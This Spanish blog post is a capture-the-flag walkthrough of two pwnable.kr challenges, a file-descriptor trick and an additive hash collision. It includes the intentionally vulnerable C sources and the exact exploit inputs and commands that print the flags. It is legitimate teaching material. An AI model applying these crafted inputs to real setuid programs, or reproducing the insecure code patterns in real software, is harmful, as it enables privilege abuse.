Smashing Rabbit – File descriptor & Hash Collision (I)

[User Space]…

❯ ./rabbit_pwned

	                  .".
                         /  |
                        /  /
                       / ,"
           .-------.--- /
          ".____.-/ o. o\
                 (    Y  )
                  )     /
                 /     (
                /       Y
            .-"         |
           /  _     \    \
          /    `. ". ) /' )
         Y       )( / /(,/
        ,|      /     )
       (_|     /     /
          \_  (__   (__        
            "-._,)--._,)

Redactado por Alvaro M. aka @naivenom.

Introduccion

En esta entrada haremos dos retos pwn usando dos scripts escritos en Python para su explotación.

«pwn» significa comprometer la seguridad o tener el control de un ordenador (servidor o PC), sitio web, dispositivo de puerta de enlace, o aplicación. – Wikipedia

Enlace de los retos usados en este volumen de entradas sobre Exploiting o Pwn:

http://pwnable.kr/

http://overthewire.org/wargames/

https://exploit-exercises.com/protostar/

Indice

Smashing Rabbit – File Descriptor & Hash Collision (I)

Smashing Rabbit – Buffer Overflow (II)

Smashing Rabbit – Sobreescribiendo GOT (III)

Smashing Rabbit – Explotacion de un «random» value y XOR con una key (IV)

Smashing Rabbit – Explotacion de escritura con puntero a si mismo y bypass (V)

Smashing Rabbit – Classic Buffer Overflow (VI)

Smashing Rabbit – Explotacion variable entorno, buffer oveflow sobreescribiendo EIP (VII)

Smashing Rabbit – Buffer overflow sobreescribiendo EIP, stack canary con float value y shellcode mod 0x0b (VIII)

Smashing Rabbit – Format String. Bypass en la estructura de control por escritura en memoria de un valor (IX)

pwnable fd (File Descriptor)

ssh fd@pwnable.kr -p2222 (pw:guest)

Nos conectamos al servidor vía SSH y localizamos 3 archivos: fd fd.c flag. Es muy importante saber que usuario disponemos, así que ejecuto id o whoami. El archivo fd.c es legible por el usuario fd -rw-r – r– 1 root root 418
El binario tiene SUID bit y nosotros podemos ejecutarlo. -r-sr-x— 1 fd_pwn fd 7322 fd
No podemos leer del fichero flag. Una solución sería teniendo el codigo fuente vulnerable, ejecutar el binario pasando de forma correcta el parámetro y así obtener la flag.

Antes de nada ejecutamos el binario para ir obteniendo más información. Al ejecutarlo descubro que hay que introducir algún tipo de argumento como un número:

fd@ubuntu:~$ ./fd
pass argv[1] a number

Analizamos el código fuente vulnerable:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){ // No acepta menos que dos argumentos (el nombre del binario es el primero de todos), imprime help y sale
printf("pass argv[1] a number\n");
return 0;
}

// La función atoi convierte un string a integer
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;

// Lectura del File Descriptor int(argv[1] - 0x1234)
len = read(fd, buf, 32);

// Si strcmp("LETMEWIN\n", buf) returns 0 (matches), imprime la flag
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

La función atoi convierte un String en valor entero. Es interesante saber qué es Linux File Descriptor. El valor 0 es stdin, así que sabiendo cómo es el valor en decimal a 0x1234 = 4660 pasando como argumento 4660 eso es igual a read (0, buf, 32). Por lo tanto necesitamos saber de antemano que stdin File Descriptor debe estar habilitado a 0, y se puede convertir a cero mediante el argumento pasado. Entonces si ponemos 4660, fd == 0 y esto nos permite escribir (stdin):  LETMEWIN \ n y guardamos en el array del buffer.

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Ejemplo usando el Script en este reto

root@kali:~/Desktop/Scripts# python3 file-descriptor.py --hexvalue 0x1234 --vulnapp fd
[+]Hexvalue: 0x1234
[+]Vulnapp: fd
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Enlace del script en Github

pwnable col (Hash Collision Attack)

ssh col@pwnable.kr -p2222 (pw:guest)

Localizamos tres archivos interesantes, col, col.c y flag. Al igual que el reto anterior fd, flag es propiedad del usuario col2 y no tenemos permisos de lectura para la visualización, y una vez más el  SUID bit esta en el archivo col.

col@ubuntu:~$ ./col
usage : ./col [passcode]
col@ubuntu:~$ ./col AAAA
passcode length should be 20 bytes
col@ubuntu:~$ ./col AAAACCCCEEEEFFFFGGGG
wrong passcode.

Nos pide que introduzcamos un password de 20 bytes, y obviamente lo compara con algo ya que aparentemente nuestro password de 20 bytes es incorrecto. Echemos un vistazo al código fuente vulnerable:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){ // returns an unsigned long (at least 4 bytes)
int* ip = (int*)p; // casts p (20 bytes) to an integer pointer (4 bytes)
int i; // counter
int res=0; // holds the result
// Iterate over the char array 4 bytes a time, sum them up
for(i=0; i<5; i++){ // interates 5 times: (five 4 byte chucks of the input)
res += ip[i]; // adds each 4 byte chunk to the last
}
return res; // returns the 4 byte long
}

int main(int argc, char* argv[]){

// Check there are at least two arguments (including file name)
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}

// Check arg[v] is of exactly 20 bytes
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

// if hashcode matches returned value, print flag
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

Como pueden observar en el código fuente, la longitud de la password debe ser de 20 bytes que es igual a 5 enteros (1 int = 4 bytes). La suma de los 5 valores enteros debe ser igual al valor 0x21DD09EC para obtener la flag así que debemos encontrar 5 enteros que sean igual a 0x21DD09EC.

Si el hashcode = 0x21DD09EC y lo introducido como argumento es igual checkeandose en la función check_password(argv[1]), obtendremos la flag.  Al ser un binario de 32 bits, los punteros a int tendrán un tamaño de 4 bytes. Por lo tanto, nuestra función de hash toma nuestros 20 bytes, convierte el char * en un int * (5 fragmentos de 4 bytes) y suma los enteros a cada fragmento (chunk). Comprobemos el valor de 0x21DD09EC y dividamos por cinco:

$ python -c "print(0x21DD09EC)"
568134124
$ python -c "print(0x21DD09EC/5)"
113626824.8

Nuestro resultado no es un número redondo (float), usemos 4 fragmentos (chunk) de 113626824 y uno para el resto obteniendo la flag:

$ python -c "print(0x21DD09EC - 113626824*4)"
113626828
$ python -c "print(hex(113626824), hex(113626828))"
0x6c5cec8 0x6c5cecc
$ ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')")
daddy! I just managed to create a hash collision :)

Si quieres conocer más sobre este ataque puede leer este enlace: https://learncryptography.com/hash-functions/hash-collision-attack

Ejemplo usando el Script en este reto

root@kali:~/Desktop/Scripts# python3 hash-collision-attack.py --hashcode 0x21DD09EC --chunkbytes 5 --vulnapp col
[+]Hashcode: 0x21DD09EC
[+]Number of chunk bytes: 5
[+]Vulnapp: col
[+] EXPLOTATION:
 '\xc8\xce\xc5\x06' * 4
 '\xcc\xce\xc5\x06'
[+] PYTHON EXPLOIT CODE: ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')")
[+] RESULTS:
daddy! I just managed to create a hash collision 🙂

Enlace del script Github

Un saludo, Naivenom

Un comentario en «Smashing Rabbit – File descriptor & Hash Collision (I)»

Los comentarios están cerrados.